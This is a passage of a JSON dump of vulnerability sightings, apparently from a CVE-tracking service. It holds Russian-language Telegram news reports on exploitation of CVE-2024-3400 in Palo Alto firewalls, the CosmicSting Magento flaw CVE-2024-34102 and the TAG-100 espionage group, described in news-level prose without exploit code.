\u0430\u043f\u0440\u0435\u043b\u044f.\n\n\u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043a\u043e\u0433\u0434\u0430 UTA0218 \u043d\u0430\u0447\u0430\u043b \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Python \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c UPSTYLE \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0431\u044d\u043a\u0434\u043e\u0440\u0430, Volexity \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a, \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 PAN-OS, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Golang \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c GOST.\n\n\u0412 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 Palo Alto Networks \u0434\u043b\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 SMB \u0438 WinRM.\u00a0\n\n\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u0445\u0438\u0442\u0438\u043b \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b Windows, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 Active Directory (ntds.dit), \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (DPAPI) \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 Windows, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u0444\u0430\u0439\u043b\u044b cookie \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432.\n\nVolexity \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0435\u0435 \u0441 \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0443\u0433\u0440\u043e\u0437 \u0438\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u044f\u0432\u043b\u044f\u044e\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u044e\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e - \u0442\u043e \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0434\u0435\u0441\u044f\u0442\u043a\u0430\u0445 \u0442\u044b\u0441\u044f\u0447 \u0436\u0435\u0440\u0442\u0432, \u0432\u0435\u0434\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u043b\u0435\u0431\u043b\u0435\u0442\u0441\u044f \u043e\u0442 40\u043a (Shodan) \u0434\u043e 133\u043a (Censys).\n\n\u0418, \u043a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 Palo Alto Networks \u0438 Volexity, \u0438\u043d\u0442\u0435\u043d\u0441\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a \u043d\u0430 CVE-2024-3400, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0440\u0435\u0437\u043a\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0435\u0442.", "creation_timestamp": "2024-04-15T12:32:26.000000Z"}, {"uuid": "84d4440f-ac61-46c3-a019-26806698c30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/true_secator/5886", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Sansec \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CosmicSting, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u0438 75% \u0441\u0430\u0439\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 Adobe Commerce \u0438 Magento.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0432\u044b\u043f\u0443\u0441\u043a \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0432\u044f\u0442\u044c \u0434\u043d\u0435\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043b\u0443\u0447\u0448\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443: \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0441\u0430\u0439\u0442\u043e\u0432 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442\u0441\u044f \u0440\u0438\u0441\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 XML (XXE) \u0438 RCE.\n\nCosmicSting \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-34102 (CVSS: 9,8) \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u0443\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 Magento \u0438 Adobe Commerce \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430.\n\n\u0421\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438). \u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439\u00a0\u043e\u0448\u0438\u0431\u043a\u043e\u0439 iconv \u0432 Linux (CVE-2024-2961)\u00a0\u043d\u0435\u0441\u0435\u0442 \u043c\u043e\u0449\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 RCE-\u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Adobe Commerce 2.4.7 (\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2.4.6-p5, 2.4.5-p7, 2.4.4-p8), Adobe Commerce Extended Support 2.4.3-ext-7 (2.4.2-ext-7, 2.4.1-ext-7, 2.4.0-ext-7, 2.3.7-p4- ext-7 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438), Magento 2.4.7 (\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2.4.6-p5, 2.4.5-p7, 2.4.4-p8), \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043b\u0430\u0433\u0438\u043d Adobe Commerce Webhooks (\u0441 1.2.0 \u043f\u043e 1.4.0).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Sansec, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 Adobe \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Sansec, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0438\u0437\u043a\u0443\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, CosmicSting \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 Shoplift, Ambionics \u0438 Trojan Order.\n\n\u0420\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-34102 \u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u043c\u0435\u0440\u0430\u043c \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e.", "creation_timestamp": "2024-06-21T18:35:05.000000Z"}, {"uuid": "0f90ad96-03d9-4262-a6e9-8b867532b9b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215518", "content": "https://ift.tt/cMHaiJs\nXiid SealedTunnel: Unfazed by Yet Another Critical Firewall Vulnerability (CVE-2024-3400)", "creation_timestamp": "2024-04-17T20:32:06.000000Z"}, {"uuid": "da68eac5-b1a2-4681-aeb0-bb982433032d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/true_secator/5979", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Recorded Future \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 APT, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0443.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0TAG-100 \u0438 \u0444\u043e\u043a\u0443\u0441\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Citrix NetScaler, F5 BIG-IP, Zimbra, Microsoft Exchange, SonicWall, Cisco ASA, Palo Alto Networks GlobalProtect \u0438 Fortinet FortiGate.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 Recorded Future, \u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 APT \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u043c\u0435\u0440\u0435 \u0432 \u0434\u0435\u0441\u044f\u0442\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043c\u0435\u0436\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0410\u0437\u0438\u0430\u0442\u0441\u043a\u043e-\u0422\u0438\u0445\u043e\u043e\u043a\u0435\u0430\u043d\u0441\u043a\u043e\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n\u041f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435, \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2024 \u0433\u043e\u0434\u0430 Insikt Group \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438-\u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u041a\u0430\u043c\u0431\u043e\u0434\u0436\u0435, \u0414\u0436\u0438\u0431\u0443\u0442\u0438, \u0414\u043e\u043c\u0438\u043d\u0438\u043a\u0430\u043d\u0435, \u0424\u0438\u0434\u0436\u0438, \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u0438, \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445, \u0422\u0430\u0439\u0432\u0430\u043d\u0435, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u0421\u0428\u0410.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, TAG-100 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0432 \u043f\u044f\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u041a\u0443\u0431\u0443, \u0424\u0440\u0430\u043d\u0446\u0438\u044e, \u0418\u0442\u0430\u043b\u0438\u044e, \u042f\u043f\u043e\u043d\u0438\u044e \u0438 \u041c\u0430\u043b\u0430\u0439\u0437\u0438\u044e.\n\n\u0421\u0440\u0435\u0434\u0438 \u0436\u0435\u0440\u0442\u0432 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435 \u0442\u043e\u0440\u0433\u043e\u0432\u044b\u0435 \u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u0438, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435, \u043c\u0435\u0436\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435, \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043f\u043e\u043b\u0443\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u043e\u0432\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0440\u0435\u043b\u0438\u0433\u0438\u043e\u0437\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, APT \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Pantegana, SparkRAT, LESLIELOADER, Cobalt Strike \u0438 CrossC2.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 Palo Alto Networks GlobalProtect CVE-2024-3400 TAG-100 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u043b\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 